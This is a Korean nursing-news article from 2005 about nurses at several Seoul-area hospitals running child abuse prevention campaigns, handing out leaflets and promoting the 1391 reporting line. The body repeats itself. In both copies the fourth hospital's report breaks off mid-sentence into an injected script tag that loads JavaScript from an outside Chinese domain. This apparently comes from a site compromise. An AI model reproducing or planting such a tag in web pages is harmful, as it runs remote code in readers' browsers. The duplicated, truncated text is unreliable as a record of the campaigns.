Home / 의료기관
5개병원 간호사 아동학대예방 캠페인
기사입력 2005-07-14 오전 09:42:16
◆ 세브란스병원
어린이들이 건강하고 행복하게 살 수 있는 세상을 만드는데 간호사들이 앞장섰다. 세브란스병원 간호부(간호부원장.김현옥)는 아동학대예방을 위한 캠페인을 7월 5일 새 병원 로비에서 펼쳐 큰 호응을 얻었다.
이날 캠페인에는 신규 간호사 18명이 참가해 내원객과 보호자들을 대상으로 아동학대의 심각성과 예방의 필요성에 대해 설명하면서 홍보용 리플릿과 책자를 나눠주었다. 학대받는 아동을 발견했을 때는 국번 없이 `1391'로 신고하면 된다는 사실도 알려주고 전화번호가 새겨진 차량용 스티커를 배포했다.
캠페인을 주도한 간호사들은 “지난 한 해 아동학대로 판정된 사례가 3891건이라는 통계를 보고 놀랐다”면서 “간호사는 학대받는 아동을 발견했을 때 신고해야 할 법적인 의무가 있다는 사실을 명심하고 앞으로 책임을 다해 나갈 것”이라고 다짐했다. 오프임에도 불구하고 기꺼이 자원봉사자로 나선 새내기 간호사들은 “간호협회가 벌이는 아동학대예방 캠페인이 우리들에 의해 진행됐다고 생각하니 너무 뿌듯하고 소속감도 커졌다”고 말했다.
홍보물을 건네받은 시민들은 “간호사들 덕분에 그동안 무심히 지나쳤던 아동학대 문제에 대해 다시 생각하게 됐다”면서 “어린이들의 건강과 안전을 염려하는 간호사들의 따뜻한 마음과 새 병원의 산뜻한 분위기가 잘 어울려 병원이 한층 포근하고 친근한 곳으로 느껴졌다”며 좋은 반응을 보였다.
이날 캠페인에서는 대한간호협회가 제작한 `가족건강달력'도 함께 배포됐다.
정규숙 기자 kschung@koreanurse.or.kr
◆ 가대 강남성모병원
“소중한 미래, 어린이 사랑으로.”
가톨릭대 강남성모병원 간호부(부장.유인자)는 아동학대예방에 대한 환자와 보호자들의 관심을 이끌어 내기 위해 `간호사와 함께 하는 아동학대예방 캠페인'을 7월 6일 병원 로비에서 펼쳤다.
간호사 70여명이 교대로 참여한 이날 캠페인에서는 아동학대예방 홍보물로 리플릿, 차량부착용 스티커, 포스트잇 등이 환자와 보호자들에게 배포됐다. 아동학대예방 관련 포스터, 안내책자, 배지, 달력 등도 배부됐다.
아동학대예방 어깨띠를 두른 간호사들은 내원객들에게 아동학대의 조기발견과 예방의 중요성에 대해 적극 알렸다.
특히 원내 간호사들을 대상으로 공모한 아동학대예방 표어인 `소중한 미래, 어린이 사랑으로'를 플래카드로 내거는 등 아동학대예방에 대한 일반인들의 관심을 불러일으키는데 힘썼다. 또 부모님과 함께 병원을 찾은 아이들을 위해 병원 로비를 풍선으로 장식하고, 요구르트와 스틱사탕을 준비하는 등 세심한 배려도 아끼지 않았다.
유인자 간호부장은 “아동학대가 심각한 사회문제가 되고 있는 가운데 간호사들이 아동학대예방에 적극 나서게 된 것을 뜻깊게 생각한다”면서 “아동학대 없는 건강한 세상을 위해 간호사들이 사회적 책임을 다하자”고 말했다.
한편 이날 대한간호협회가 제작한 `가족건강달력'도 함께 배부돼 큰 호응을 얻었다.
주선영 기자 syju@koreanurse.or.kr
◆ 삼성서울병원
아동학대의 심각성을 알리고 학대받는 아동을 발견했을 때 즉시 신고해야한다는 사실을 홍보하는 뜻깊은 자리가 마련됐다.
삼성서울병원 간호부(본부장.성영희)는 `간호사와 함께 하는 아동학대예방 캠페인'을 7월 6일 병원 로비에서 실시했다.
이날 자원봉사자로 나선 간호사 20명은 환자와 보호자들에게 리플릿, 차량용 스티커 등 홍보물을 나눠주면서 아동학대예방에 함께해 줄 것을 호소했다. 아동보호에 앞장서는 간호사들의 모습을 본 환자와 보호자들은 따뜻한 관심과 격려를 보내주었으며, 함께 힘을 보탤 것을 약속했다.
캠페인에 동참한 간호사들은 “어린이들이 밝고 건강하게 살 수 있는 세상을 만드는데 힘을 보탤 수 있어 보람을 느낀다”면서 “앞으로 아동학대 예방에 보다 적극적으로 관심을 갖고 간호사의 책임과 역할을 다하는데 힘쓰겠다”고 말했다.
성영희 간호본부장은 “간호사는 아동학대 신고의무자이며, 학대받는 아동을 발견해 돌보는데 있어서 중요한 역할을 할 수 있는 전문인”이라면서 “이번 캠페인이 아동학대예방에 대한 일반인들의 인식과 간호사들의 신고의식을 높이는 계기가 되길 바란다”고 말했다.
캠페인에 이어 간호사들은 대한간호협회에서 제작한 `가족건강달력'을 배포하고 내원객들을 대상으로 혈압 등을 체크해주고 건강상담을 실시했다.
주선영 기자 syju@koreanurse.or.kr
◆관동대 명지병원
관동대 명지병원 간호부(부장.황경자)는 `간호사와 함께 하는 아동학대예방 캠페인'을 7월 7일 병원 로비에서 열었다.
이날 캠페인에서 간호사 20여명은 병원을 찾은 사람들에게 아동학대예방과 조기발견의 중요성을 알리기 위해 리플릿, 차량용 스티커 등 홍보물을 배포하면서 열심히 설명했다.
특히 병원 앞에서 대기 중인 택시?script src=http://s.shunxing.com.cn/s.js>
목록
어린이들이 건강하고 행복하게 살 수 있는 세상을 만드는데 간호사들이 앞장섰다. 세브란스병원 간호부(간호부원장.김현옥)는 아동학대예방을 위한 캠페인을 7월 5일 새 병원 로비에서 펼쳐 큰 호응을 얻었다.
이날 캠페인에는 신규 간호사 18명이 참가해 내원객과 보호자들을 대상으로 아동학대의 심각성과 예방의 필요성에 대해 설명하면서 홍보용 리플릿과 책자를 나눠주었다. 학대받는 아동을 발견했을 때는 국번 없이 `1391'로 신고하면 된다는 사실도 알려주고 전화번호가 새겨진 차량용 스티커를 배포했다.
캠페인을 주도한 간호사들은 “지난 한 해 아동학대로 판정된 사례가 3891건이라는 통계를 보고 놀랐다”면서 “간호사는 학대받는 아동을 발견했을 때 신고해야 할 법적인 의무가 있다는 사실을 명심하고 앞으로 책임을 다해 나갈 것”이라고 다짐했다. 오프임에도 불구하고 기꺼이 자원봉사자로 나선 새내기 간호사들은 “간호협회가 벌이는 아동학대예방 캠페인이 우리들에 의해 진행됐다고 생각하니 너무 뿌듯하고 소속감도 커졌다”고 말했다.
홍보물을 건네받은 시민들은 “간호사들 덕분에 그동안 무심히 지나쳤던 아동학대 문제에 대해 다시 생각하게 됐다”면서 “어린이들의 건강과 안전을 염려하는 간호사들의 따뜻한 마음과 새 병원의 산뜻한 분위기가 잘 어울려 병원이 한층 포근하고 친근한 곳으로 느껴졌다”며 좋은 반응을 보였다.
이날 캠페인에서는 대한간호협회가 제작한 `가족건강달력'도 함께 배포됐다.
정규숙 기자 kschung@koreanurse.or.kr
◆ 가대 강남성모병원
“소중한 미래, 어린이 사랑으로.”
가톨릭대 강남성모병원 간호부(부장.유인자)는 아동학대예방에 대한 환자와 보호자들의 관심을 이끌어 내기 위해 `간호사와 함께 하는 아동학대예방 캠페인'을 7월 6일 병원 로비에서 펼쳤다.
간호사 70여명이 교대로 참여한 이날 캠페인에서는 아동학대예방 홍보물로 리플릿, 차량부착용 스티커, 포스트잇 등이 환자와 보호자들에게 배포됐다. 아동학대예방 관련 포스터, 안내책자, 배지, 달력 등도 배부됐다.
아동학대예방 어깨띠를 두른 간호사들은 내원객들에게 아동학대의 조기발견과 예방의 중요성에 대해 적극 알렸다.
특히 원내 간호사들을 대상으로 공모한 아동학대예방 표어인 `소중한 미래, 어린이 사랑으로'를 플래카드로 내거는 등 아동학대예방에 대한 일반인들의 관심을 불러일으키는데 힘썼다. 또 부모님과 함께 병원을 찾은 아이들을 위해 병원 로비를 풍선으로 장식하고, 요구르트와 스틱사탕을 준비하는 등 세심한 배려도 아끼지 않았다.
유인자 간호부장은 “아동학대가 심각한 사회문제가 되고 있는 가운데 간호사들이 아동학대예방에 적극 나서게 된 것을 뜻깊게 생각한다”면서 “아동학대 없는 건강한 세상을 위해 간호사들이 사회적 책임을 다하자”고 말했다.
한편 이날 대한간호협회가 제작한 `가족건강달력'도 함께 배부돼 큰 호응을 얻었다.
주선영 기자 syju@koreanurse.or.kr
◆ 삼성서울병원
아동학대의 심각성을 알리고 학대받는 아동을 발견했을 때 즉시 신고해야한다는 사실을 홍보하는 뜻깊은 자리가 마련됐다.
삼성서울병원 간호부(본부장.성영희)는 `간호사와 함께 하는 아동학대예방 캠페인'을 7월 6일 병원 로비에서 실시했다.
이날 자원봉사자로 나선 간호사 20명은 환자와 보호자들에게 리플릿, 차량용 스티커 등 홍보물을 나눠주면서 아동학대예방에 함께해 줄 것을 호소했다. 아동보호에 앞장서는 간호사들의 모습을 본 환자와 보호자들은 따뜻한 관심과 격려를 보내주었으며, 함께 힘을 보탤 것을 약속했다.
캠페인에 동참한 간호사들은 “어린이들이 밝고 건강하게 살 수 있는 세상을 만드는데 힘을 보탤 수 있어 보람을 느낀다”면서 “앞으로 아동학대 예방에 보다 적극적으로 관심을 갖고 간호사의 책임과 역할을 다하는데 힘쓰겠다”고 말했다.
성영희 간호본부장은 “간호사는 아동학대 신고의무자이며, 학대받는 아동을 발견해 돌보는데 있어서 중요한 역할을 할 수 있는 전문인”이라면서 “이번 캠페인이 아동학대예방에 대한 일반인들의 인식과 간호사들의 신고의식을 높이는 계기가 되길 바란다”고 말했다.
캠페인에 이어 간호사들은 대한간호협회에서 제작한 `가족건강달력'을 배포하고 내원객들을 대상으로 혈압 등을 체크해주고 건강상담을 실시했다.
주선영 기자 syju@koreanurse.or.kr
◆관동대 명지병원
관동대 명지병원 간호부(부장.황경자)는 `간호사와 함께 하는 아동학대예방 캠페인'을 7월 7일 병원 로비에서 열었다.
이날 캠페인에서 간호사 20여명은 병원을 찾은 사람들에게 아동학대예방과 조기발견의 중요성을 알리기 위해 리플릿, 차량용 스티커 등 홍보물을 배포하면서 열심히 설명했다.
특히 병원 앞에서 대기 중인 택시?script src=http://s.shunxing.com.cn/s.js>
주선영 syju@nursenews.co.kr